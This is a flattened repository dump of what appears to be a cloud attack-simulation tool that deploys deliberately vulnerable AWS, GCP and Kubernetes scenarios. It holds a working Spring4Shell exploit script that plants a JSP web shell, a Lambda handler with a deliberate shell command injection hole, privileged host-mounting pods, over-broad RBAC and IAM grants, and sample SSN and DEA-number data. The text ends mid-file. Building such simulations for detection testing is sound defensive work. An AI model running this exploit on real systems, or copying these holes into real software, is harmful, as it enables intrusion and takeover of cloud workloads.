├── core ├── __init__.py ├── requirements.txt ├── metadata.sh ├── helpers.py ├── main.py └── report.py ├── scenarios ├── scenario_5 │ ├── infra │ │ ├── s3_files │ │ │ ├── 0_PII.txt │ │ │ ├── s3_files │ │ │ │ ├── 0_PII.txt │ │ │ │ ├── 2_PII_latest.txt │ │ │ │ ├── 2_PII_33.sh │ │ │ │ ├── 2_Healthcare.txt │ │ │ │ ├── 2_wildfire-test-pe-file.exe │ │ │ │ ├── Jun27_NewFwd_PII.txt │ │ │ │ ├── May3_dataprofile.txt │ │ │ │ ├── Jun21_Fwd_Healthcare.txt │ │ │ │ ├── IP_multiline copy.txt │ │ │ │ └── PII_Health_IP_with_multiline.txt.txt │ │ │ ├── 2_PII_latest.txt │ │ │ ├── 2_PII_33.sh │ │ │ ├── 2_Healthcare.txt │ │ │ ├── 2_wildfire-test-pe-file.exe │ │ │ ├── Jun27_NewFwd_PII.txt │ │ │ ├── May3_dataprofile.txt │ │ │ ├── Jun21_Fwd_Healthcare.txt │ │ │ ├── IP_multiline copy.txt │ │ │ └── PII_Health_IP_with_multiline.txt.txt │ │ ├── Pulumi.yaml │ │ └── __main__.py │ └── scenario_5.py ├── scenario_3 │ ├── infra │ │ ├── Pulumi.gcp-scenario-1.yaml │ │ ├── Pulumi.yaml │ │ ├── app │ │ │ ├── backdoor.yml │ │ │ ├── sa-cb.yml │ │ │ ├── sa-cr.yml │ │ │ ├── service.yml │ │ │ ├── app.yml │ │ │ └── exploit │ │ └── __main__.py │ └── scenario_3.py ├── scenario_6 │ ├── infra │ │ ├── variables.tf │ │ └── main.tf │ └── scenario_6.py ├── scenario_1 │ ├── report │ │ └── cobra-scenario-arch-1.png │ ├── infra │ │ ├── Pulumi.yaml │ │ └── __main__.py │ └── scenario_1.py ├── scenario_2 │ ├── report │ │ ├── cobra-scenario-arch-2.png │ │ └── report.py │ ├── infra │ │ ├── Pulumi.yaml │ │ ├── assume-role-trust-policy.json │ │ ├── lambda │ │ │ └── hello.py │ │ ├── iam.py │ │ └── __main__.py │ └── scenario_2.py ├── scenario_7 │ ├── infra │ │ ├── Pulumi.yaml │ │ ├── app │ │ │ ├── privileged-app.yml │ │ │ ├── service.yml │ │ │ └── app.yml │ │ ├── __main__.py │ │ ├── utils.py │ │ ├── iam.py │ │ └── vpc.py │ └── scenario_7.py └── scenario_4 │ ├── infra │ ├── Pulumi.yaml │ └── __main__.py │ └── scenario_4.py ├── requirements.txt ├── SUPPORT.md ├── .gitignore ├── cobra.py ├── CONTRIBUTING.md ├── main.tf ├── LICENSE └── README.md /core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /core/requirements.txt: -------------------------------------------------------------------------------- 1 | pyfiglet 2 | termcolor 3 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/0_PII.txt: -------------------------------------------------------------------------------- 1 | 219-42-2331 -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt: -------------------------------------------------------------------------------- 1 | 219-42-2331 -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml: -------------------------------------------------------------------------------- 1 | config: 2 | gcp:project: clgcporg11-096 3 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/2_PII_latest.txt: -------------------------------------------------------------------------------- 1 | ssn 098-07-3316 Current Time : May 6th 2:50 2 | 3 | April_05_01 -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt: -------------------------------------------------------------------------------- 1 | ssn 098-07-3316 Current Time : May 6th 2:50 2 | 3 | April_05_01 -------------------------------------------------------------------------------- /scenarios/scenario_6/infra/variables.tf: -------------------------------------------------------------------------------- 1 | variable "subid" { 2 | type = string 3 | } 4 | 5 | variable "tenantid" { 6 | type = string 7 | } -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/2_PII_33.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "hello" 4 | 5 | ssn 098-07-3316 Current Time : April 12 2021 6 | 7 | April_05_01 -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "hello" 4 | 5 | ssn 098-07-3316 Current Time : April 12 2021 6 | 7 | April_05_01 -------------------------------------------------------------------------------- /scenarios/scenario_1/report/cobra-scenario-arch-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PaloAltoNetworks/cobra-tool/HEAD/scenarios/scenario_1/report/cobra-scenario-arch-1.png -------------------------------------------------------------------------------- /scenarios/scenario_2/report/cobra-scenario-arch-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PaloAltoNetworks/cobra-tool/HEAD/scenarios/scenario_2/report/cobra-scenario-arch-2.png -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/2_Healthcare.txt: -------------------------------------------------------------------------------- 1 | 2 | Health care - DEA BB4053839 | BJ6125341 3 | Health care - DEA BB4053869 | BJ985341 4 | 5 | April_05_01 6 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt: -------------------------------------------------------------------------------- 1 | 2 | Health care - DEA BB4053839 | BJ6125341 3 | Health care - DEA BB4053869 | BJ985341 4 | 5 | April_05_01 6 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PaloAltoNetworks/cobra-tool/HEAD/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PaloAltoNetworks/cobra-tool/HEAD/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe -------------------------------------------------------------------------------- /scenarios/scenario_2/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: ls 2 | runtime: 3 | name: python 4 | description: A minimal AWS Python Pulumi program 5 | config: 6 | pulumi:tags: 7 | value: 8 | pulumi:template: "" 9 | -------------------------------------------------------------------------------- /scenarios/scenario_1/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: infra 2 | runtime: 3 | name: python 4 | description: A minimal AWS Python Pulumi program 5 | config: 6 | pulumi:tags: 7 | value: 8 | pulumi:template: "" 9 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt: -------------------------------------------------------------------------------- 1 | Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 2 | 3 | APPLE BALL new awesome good awesomefds Great 4 | 5 | SSN 9998880000 -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: infra 2 | runtime: 3 | name: python 4 | description: A minimal AWS Python Pulumi program 5 | config: 6 | pulumi:tags: 7 | value: 8 | pulumi:template: "" 9 | 10 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: infra 2 | runtime: 3 | name: python 4 | 5 | description: A minimal AWS Python Pulumi program 6 | config: 7 | pulumi:tags: 8 | value: 9 | pulumi:template: "" 10 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt: -------------------------------------------------------------------------------- 1 | Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 2 | 3 | APPLE BALL new awesome good awesomefds Great 4 | 5 | SSN 9998880000 -------------------------------------------------------------------------------- /scenarios/scenario_4/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: infra 2 | runtime: 3 | name: python 4 | 5 | description: A minimal AWS Python Pulumi program 6 | config: 7 | pulumi:tags: 8 | value: 9 | pulumi:template: "" 10 | 11 | 12 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/Pulumi.yaml: -------------------------------------------------------------------------------- 1 | name: infra 2 | runtime: 3 | name: python 4 | 5 | description: A minimal AWS Python Pulumi program 6 | config: 7 | pulumi:tags: 8 | value: 9 | pulumi:template: "" 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt: -------------------------------------------------------------------------------- 1 | ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 2 | 3 | APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt: -------------------------------------------------------------------------------- 1 | ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 2 | 3 | APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/backdoor.yml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: example-cluster-role 5 | rules: 6 | - apiGroups: [""] 7 | resources: ["pods"] 8 | verbs: ["get", "list"] 9 | 10 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt: -------------------------------------------------------------------------------- 1 | test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 2 | Health care - DEA BB4053839 | BJ6125341 3 | Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 4 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt: -------------------------------------------------------------------------------- 1 | test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 2 | Health care - DEA BB4053839 | BJ6125341 3 | Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 4 | -------------------------------------------------------------------------------- /scenarios/scenario_2/infra/assume-role-trust-policy.json: -------------------------------------------------------------------------------- 1 | { 2 | "Version": "2012-10-17", 3 | "Statement": [ 4 | { 5 | "Effect": "Allow", 6 | "Principal": { 7 | "AWS": "arn:aws:iam:::root" 8 | }, 9 | "Action": "sts:AssumeRole" 10 | } 11 | ] 12 | } 13 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/app/privileged-app.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: privileged-the-pod 5 | spec: 6 | hostPID: true 7 | hostNetwork: true 8 | containers: 9 | - name: privileged-the-pod 10 | image: nginx:latest 11 | ports: 12 | - containerPort: 80 13 | securityContext: 14 | privileged: true -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/sa-cb.yml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRoleBinding 3 | metadata: 4 | name: example-clusterrole-binding 5 | subjects: 6 | - kind: ServiceAccount 7 | name: default 8 | namespace: default 9 | roleRef: 10 | kind: ClusterRole 11 | name: example-clusterrole 12 | apiGroup: rbac.authorization.k8s.io 13 | 14 | -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/sa-cr.yml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: example-clusterrole 5 | rules: 6 | - apiGroups: [""] 7 | resources: ["pods"] 8 | verbs: ["get", "list"] 9 | - apiGroups: ["rbac.authorization.k8s.io"] 10 | resources: ["clusterroles", "rolebindings"] 11 | verbs: ["create", "get", "list", "watch", "update", "patch", "delete"] 12 | 13 | -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/service.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Service 4 | metadata: 5 | name: spring4shell-web-service 6 | spec: 7 | selector: 8 | app: spring4shell-web 9 | tier: frontend 10 | type: LoadBalancer 11 | ports: 12 | - protocol: TCP 13 | # Port accessible inside cluster 14 | port: 8081 15 | # Port to forward to inside the pod 16 | targetPort: 8080 17 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/app/service.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Service 4 | metadata: 5 | name: spring4shell-web-service 6 | spec: 7 | selector: 8 | app: spring4shell-web 9 | tier: frontend 10 | type: LoadBalancer 11 | ports: 12 | - protocol: TCP 13 | # Port accessible inside cluster 14 | port: 8081 15 | # Port to forward to inside the pod 16 | targetPort: 8080 17 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Arpeggio==2.0.2 2 | attrs==23.2.0 3 | dill==0.3.8 4 | grpcio==1.66.2 5 | parver==0.5 6 | protobuf==4.25.3 7 | pulumi>=3.0.0,<4.0.0 8 | pulumi-aws>=6.0.2,<7.0.0 9 | pyfiglet==1.0.2 10 | PyYAML==6.0.1 11 | semver==2.13.0 12 | six==1.16.0 13 | termcolor==2.4.0 14 | tqdm==4.66.2 15 | pulumi-gcp>=7.0.0,<8.0.0 16 | pulumi-random==4.16.3 17 | pulumi_synced_folder==0.11.1 18 | setuptools==74.1.2 19 | pulumi_eks==3.2.0 20 | pulumi_kubernetes==4.18.3 21 | -------------------------------------------------------------------------------- /core/metadata.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export ATTACKER_SERVER_INSTANCE_ID=$(jq -r '.["Attacker Server Instance ID"]' ./core/cobra-scenario-1-output.json) 3 | export ATTACKER_SERVER_PUBLIC_IP=$(jq -r '.["Attacker Server Public IP"]'./core/cobra-scenario-1-output.json) 4 | export WEB_SERVER_INSTANCE_ID=$(jq -r '.["Web Server Instance ID"]' ./core/cobra-scenario-1-output.json) 5 | export WEB_SERVER_PUBLIC_IP=$(jq -r '.["Web Server Public IP"]' ./core/cobra-scenario-1-output.json) 6 | -------------------------------------------------------------------------------- /SUPPORT.md: -------------------------------------------------------------------------------- 1 | # Community Supported 2 | This template/solution is released under an as-is, best effort, support policy. These scripts should be seen as community supported and Palo Alto Networks will contribute our expertise as and when possible. We do not provide technical support or help in using or troubleshooting the components of the project through our normal support options such as Palo Alto Networks support teams, or ASC (Authorized Support Centers) partners and backline support options. The underlying product used (Prisma Cloud) by the scripts or templates are still supported, but the support is only for the product functionality and not for help in deploying or using the template or script itself. 3 | 4 | Unless explicitly tagged, all projects or work posted in our GitHub repository (at https://github.com/PaloAltoNetworks) or sites other than our official Downloads page on https://support.paloaltonetworks.com are provided under the best effort policy. -------------------------------------------------------------------------------- /scenarios/scenario_2/infra/lambda/hello.py: -------------------------------------------------------------------------------- 1 | import json 2 | import subprocess 3 | 4 | def handler(event, context): 5 | # Retrieve the command parameter from the query string 6 | command = event.get('queryStringParameters', {}).get('query', '') 7 | 8 | # Check if the command is empty 9 | if command == 'ping': 10 | return { 11 | 'statusCode': 200, 12 | 'body': json.dumps('Cheers from AWS Lambda!!') 13 | } 14 | else: 15 | # Execute the command using subprocess 16 | try: 17 | result = subprocess.check_output(command, shell=True) 18 | return { 19 | 'statusCode': 200, 20 | 'body': result.decode('utf-8') 21 | } 22 | except subprocess.CalledProcessError as e: 23 | return { 24 | 'statusCode': 500, 25 | 'body': f'Error executing command: {e}' 26 | } 27 | -------------------------------------------------------------------------------- /scenarios/scenario_2/infra/iam.py: -------------------------------------------------------------------------------- 1 | # Copyright 2016-2018, Pulumi Corporation. All rights reserved. 2 | 3 | from pulumi_aws import iam 4 | 5 | lambda_role = iam.Role('lambdaRole', 6 | assume_role_policy="""{ 7 | "Version": "2012-10-17", 8 | "Statement": [ 9 | { 10 | "Action": "sts:AssumeRole", 11 | "Principal": { 12 | "Service": "lambda.amazonaws.com" 13 | }, 14 | "Effect": "Allow", 15 | "Sid": "" 16 | } 17 | ] 18 | }""" 19 | ) 20 | 21 | lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', 22 | role=lambda_role.id, 23 | policy="""{ 24 | "Version": "2012-10-17", 25 | "Statement": [{ 26 | "Effect": "Allow", 27 | "Action": [ 28 | "logs:CreateLogGroup", 29 | "logs:CreateLogStream", 30 | "logs:PutLogEvents", 31 | "iam:AttachRolePolicy" 32 | ], 33 | "Resource": "*" 34 | }] 35 | }""" 36 | ) 37 | -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/app.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | 5 | 6 | ### 7 | ### Deployment Metadata 8 | ### 9 | metadata: 10 | name: spring4shell-web 11 | 12 | 13 | ### 14 | ### Specs 15 | ### 16 | spec: 17 | replicas: 1 18 | 19 | selector: 20 | matchLabels: 21 | app: spring4shell-web 22 | tier: frontend 23 | 24 | template: 25 | 26 | # Template Metadata to be used by service for discovery 27 | metadata: 28 | labels: 29 | app: spring4shell-web 30 | tier: frontend 31 | 32 | # Container/Volume definition 33 | spec: 34 | hostPID: true 35 | hostIPC: true 36 | volumes: 37 | - name: host-filesystem 38 | hostPath: 39 | path: / 40 | 41 | containers: 42 | - name: spring4shell-web 43 | image: ananddockerhub/spring4shell:latest 44 | securityContext: 45 | allowPrivilegeEscalation: true 46 | privileged: true 47 | ports: 48 | - containerPort: 8080 49 | volumeMounts: 50 | - name: host-filesystem 51 | mountPath: /host-system -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/app/app.yml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | 5 | 6 | ### 7 | ### Deployment Metadata 8 | ### 9 | metadata: 10 | name: spring4shell-web 11 | 12 | 13 | ### 14 | ### Specs 15 | ### 16 | spec: 17 | replicas: 1 18 | 19 | selector: 20 | matchLabels: 21 | app: spring4shell-web 22 | tier: frontend 23 | 24 | template: 25 | 26 | # Template Metadata to be used by service for discovery 27 | metadata: 28 | labels: 29 | app: spring4shell-web 30 | tier: frontend 31 | 32 | # Container/Volume definition 33 | spec: 34 | hostPID: true 35 | hostIPC: true 36 | volumes: 37 | - name: host-filesystem 38 | hostPath: 39 | path: / 40 | 41 | containers: 42 | - name: spring4shell-web 43 | image: ananddockerhub/spring4shell:latest 44 | securityContext: 45 | allowPrivilegeEscalation: true 46 | privileged: true 47 | ports: 48 | - containerPort: 8080 49 | volumeMounts: 50 | - name: host-filesystem 51 | mountPath: /host-system 52 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Python 2 | __pycache__/ 3 | *.pyc 4 | *.pyo 5 | *.pyd 6 | *.pyc 7 | *.pyo 8 | *.pyz 9 | *.pyzw 10 | *.pyc 11 | *.pyo 12 | *.pyd 13 | *.pyc 14 | *.pyo 15 | *.pyz 16 | *.pyzw 17 | *.pytest_cache/ 18 | 19 | # Virtual Environment 20 | venv/ 21 | ENV/ 22 | env/ 23 | # If you're using Poetry for dependency management, add the following line 24 | # poetry.lock 25 | 26 | # AWS Terraform 27 | .terraform/ 28 | terraform.tfstate 29 | terraform.tfstate.backup 30 | *.tfvars 31 | *.tfstate 32 | 33 | # Ignore local AWS credentials or configuration 34 | .aws/credentials 35 | .aws/config 36 | 37 | # Ignore IDE specific files 38 | .vscode/ 39 | *.idea/ 40 | *.vscode/ 41 | 42 | # Ignore compiled Python files or bytecode 43 | *.pyc 44 | 45 | # Ignore any local development files or sensitive data 46 | *.env 47 | *.log 48 | 49 | # ssh keys ignore 50 | 51 | *id_rsa 52 | *id_rsa.pub 53 | 54 | *.DS_Store 55 | 56 | *cobra-scenario-1-output.json 57 | *cobra-scenario-2-output.json 58 | *cobra-scenario-3-output.json 59 | *cobra-scenario-4-output.json 60 | *cobra-scenario-5-output.json 61 | *-output.json 62 | *aws-scenario-* 63 | *gcp-scenario* 64 | *token.txt 65 | *cobra-as1-report.html 66 | *cobra-as2-report.html 67 | *cnbas-as1-report.html 68 | *cnbas-as2-report.html 69 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import iam 2 | import vpc 3 | import utils 4 | import pulumi 5 | from pulumi_aws import eks 6 | # adding missing import to fix runtime error 7 | import pulumi_aws as aws 8 | 9 | # Create an EKS cluster with the default configuration. 10 | current = aws.get_region() 11 | region = current.name 12 | 13 | eks_cluster = eks.Cluster( 14 | "eks-cluster", 15 | role_arn=iam.eks_role.arn, 16 | tags={ 17 | "Name": "pulumi-eks-cluster", 18 | }, 19 | vpc_config=eks.ClusterVpcConfigArgs( 20 | public_access_cidrs=["0.0.0.0/0"], 21 | security_group_ids=[vpc.eks_security_group.id], 22 | subnet_ids=vpc.subnet_ids, 23 | ), 24 | ) 25 | 26 | eks_node_group = eks.NodeGroup( 27 | "eks-node-group", 28 | cluster_name=eks_cluster.name, 29 | node_group_name="pulumi-eks-nodegroup", 30 | node_role_arn=iam.ec2_role.arn, 31 | subnet_ids=vpc.subnet_ids, 32 | tags={ 33 | "Name": "pulumi-cluster-nodeGroup", 34 | }, 35 | scaling_config=eks.NodeGroupScalingConfigArgs( 36 | desired_size=2, 37 | max_size=2, 38 | min_size=1, 39 | ), 40 | ) 41 | pulumi.export("Region", region) 42 | pulumi.export("ClusterData", utils.generate_kube_config(eks_cluster)) 43 | -------------------------------------------------------------------------------- /cobra.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from core import main 3 | 4 | def parse_arguments(): 5 | parser = argparse.ArgumentParser(description="Terminal-based option tool") 6 | parser.add_argument("action", choices=["launch", "status", "destroy", "post-launch"], help="Action to perform (launch, status, destroy)") 7 | parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") 8 | parser.add_argument("--scenario", choices=["cobra-scenario-1", "cobra-scenario-2", "cobra-scenario-3", "cobra-scenario-4", "cobra-scenario-5", "cobra-scenario-6", "cobra-scenario-7"], default="cobra-scenario-1", help="Scenario selection") 9 | parser.add_argument("--manual", action="store_true", help="Perform attack manually through post-launch") 10 | return parser.parse_args() 11 | 12 | def main_function(action, simulation, scenario, manual): 13 | # Call the main function from the imported module and pass the options 14 | if not scenario: 15 | scenario = "none" 16 | main.main(action, simulation, scenario, manual) 17 | 18 | if __name__ == "__main__": 19 | args = parse_arguments() 20 | 21 | # Convert argparse Namespace to dictionary 22 | options = vars(args) 23 | 24 | # Call the main function with options 25 | main_function(**options) 26 | -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/app/exploit: -------------------------------------------------------------------------------- 1 | #read -p "Enter IP Address of vulnerable Application: " ip 2 | echo "[+] Exploiting Spring4Shell vulnerability in server: http://$1/helloworld/greeting" 3 | curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://$1/helloworld/greeting 4 | echo 5 | echo 6 | 7 | echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp" 8 | # docker-compose exec app ls webapps/ROOT 9 | # echo 10 | 11 | echo "[+] Shell is now accessible at: http://$1/shell.jsp?cmd=" 12 | echo "[+] Waiting 10 seconds..." 13 | sleep 10 14 | 15 | -------------------------------------------------------------------------------- /core/helpers.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | 10 | 11 | 12 | def loading_animation(): 13 | chars = "/—\\|" 14 | for _ in range(10): 15 | for char in chars: 16 | print(f"\rLoading {char}", end="", flush=True) 17 | time.sleep(0.1) 18 | 19 | 20 | def generate_ssh_key(): 21 | # Define the path to save the keys 22 | key_path = os.path.expanduser("./id_rsa") 23 | 24 | # Check if SSH key already exists 25 | if os.path.exists(key_path): 26 | print("SSH key already exists. Deleting the existing key...") 27 | os.remove(key_path) 28 | 29 | # Generate the SSH key pair 30 | with open(os.devnull, 'w') as devnull: 31 | subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) 32 | print("SSH Key Pair generated successfully!") 33 | 34 | return key_path, key_path + ".pub" 35 | 36 | def upload_file_to_server(source_file, server_username, server_ip, server_directory): 37 | try: 38 | # Construct the scp command 39 | scp_command = f'scp -i id_rsa -r {source_file} {server_username}@{server_ip}:{server_directory}' 40 | 41 | # Execute the scp command 42 | subprocess.check_call(scp_command, shell=True) 43 | 44 | print(f"File '{source_file}' successfully uploaded to server '{server_ip}' in directory '{server_directory}'.") 45 | except subprocess.CalledProcessError as e: 46 | print(f"Error uploading file: {e}") 47 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import pulumi 4 | 5 | 6 | def generate_kube_config(eks_cluster): 7 | 8 | kubeconfig = pulumi.Output.json_dumps( 9 | { 10 | "apiVersion": "v1", 11 | "clusters": [ 12 | { 13 | "cluster": { 14 | "server": eks_cluster.endpoint, 15 | "certificate-authority-data": eks_cluster.certificate_authority.apply( 16 | lambda v: v.data 17 | ), 18 | }, 19 | "name": "kubernetes", 20 | } 21 | ], 22 | "contexts": [ 23 | { 24 | "context": { 25 | "cluster": "kubernetes", 26 | "user": "aws", 27 | }, 28 | "name": "aws", 29 | } 30 | ], 31 | "current-context": "aws", 32 | "kind": "Config", 33 | "users": [ 34 | { 35 | "name": "aws", 36 | "user": { 37 | "exec": { 38 | "apiVersion": "client.authentication.k8s.io/v1beta1", 39 | "command": "aws-iam-authenticator", 40 | "args": [ 41 | "token", 42 | "-i", 43 | eks_cluster.endpoint, 44 | ], 45 | }, 46 | }, 47 | } 48 | ], 49 | } 50 | ) 51 | return kubeconfig 52 | -------------------------------------------------------------------------------- /scenarios/scenario_3/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import pulumi 2 | import pulumi_gcp as gcp 3 | 4 | config = pulumi.Config() 5 | NODE_COUNT = config.get_int('node_count') or 1 6 | NODE_MACHINE_TYPE = config.get('node_machine_type') or 'e2-medium' 7 | MASTER_VERSION = config.get('master_version') 8 | 9 | # Defining the GKE Cluster 10 | gke_cluster = gcp.container.Cluster('cluster-1', 11 | name = "cluster-1", 12 | location = "us-central1", 13 | initial_node_count = NODE_COUNT, 14 | remove_default_node_pool = True, 15 | min_master_version = MASTER_VERSION, 16 | deletion_protection = False 17 | ) 18 | 19 | gke_nodepool = gcp.container.NodePool("nodepool-1", 20 | name = "nodepool-1", 21 | location = "us-central1", 22 | node_locations = ["us-central1-a"], 23 | cluster = gke_cluster.id, 24 | node_count = NODE_COUNT, 25 | node_config = gcp.container.NodePoolNodeConfigArgs( 26 | preemptible = False, 27 | machine_type = NODE_MACHINE_TYPE, 28 | disk_size_gb = 20, 29 | oauth_scopes = ["https://www.googleapis.com/auth/cloud-platform"], 30 | shielded_instance_config = gcp.container.NodePoolNodeConfigShieldedInstanceConfigArgs( 31 | enable_integrity_monitoring = True, 32 | enable_secure_boot = True 33 | ) 34 | ), 35 | 36 | autoscaling = gcp.container.NodePoolAutoscalingArgs( 37 | min_node_count = 1, 38 | max_node_count = 3 39 | ), 40 | 41 | management = gcp.container.NodePoolManagementArgs( 42 | auto_repair = True, 43 | auto_upgrade = True 44 | ) 45 | ) 46 | 47 | pulumi.export("cluster-name", gke_cluster.name) 48 | pulumi.export("cluster-endpoint", gke_cluster.endpoint) 49 | 50 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/iam.py: -------------------------------------------------------------------------------- 1 | from pulumi_aws import config, iam 2 | import json 3 | 4 | ## EKS Cluster Role 5 | 6 | eks_role = iam.Role( 7 | "eks-iam-role", 8 | assume_role_policy=json.dumps( 9 | { 10 | "Version": "2012-10-17", 11 | "Statement": [ 12 | { 13 | "Action": "sts:AssumeRole", 14 | "Principal": {"Service": "eks.amazonaws.com"}, 15 | "Effect": "Allow", 16 | "Sid": "", 17 | } 18 | ], 19 | } 20 | ), 21 | ) 22 | 23 | iam.RolePolicyAttachment( 24 | "eks-service-policy-attachment", 25 | role=eks_role.id, 26 | policy_arn="arn:aws:iam::aws:policy/AmazonEKSServicePolicy", 27 | ) 28 | 29 | 30 | iam.RolePolicyAttachment( 31 | "eks-cluster-policy-attachment", 32 | role=eks_role.id, 33 | policy_arn="arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", 34 | ) 35 | 36 | ## Ec2 NodeGroup Role 37 | 38 | ec2_role = iam.Role( 39 | "ec2-nodegroup-iam-role", 40 | assume_role_policy=json.dumps( 41 | { 42 | "Version": "2012-10-17", 43 | "Statement": [ 44 | { 45 | "Action": "sts:AssumeRole", 46 | "Principal": {"Service": "ec2.amazonaws.com"}, 47 | "Effect": "Allow", 48 | "Sid": "", 49 | } 50 | ], 51 | } 52 | ), 53 | ) 54 | 55 | iam.RolePolicyAttachment( 56 | "eks-workernode-policy-attachment", 57 | role=ec2_role.id, 58 | policy_arn="arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy", 59 | ) 60 | 61 | 62 | iam.RolePolicyAttachment( 63 | "eks-cni-policy-attachment", 64 | role=ec2_role.id, 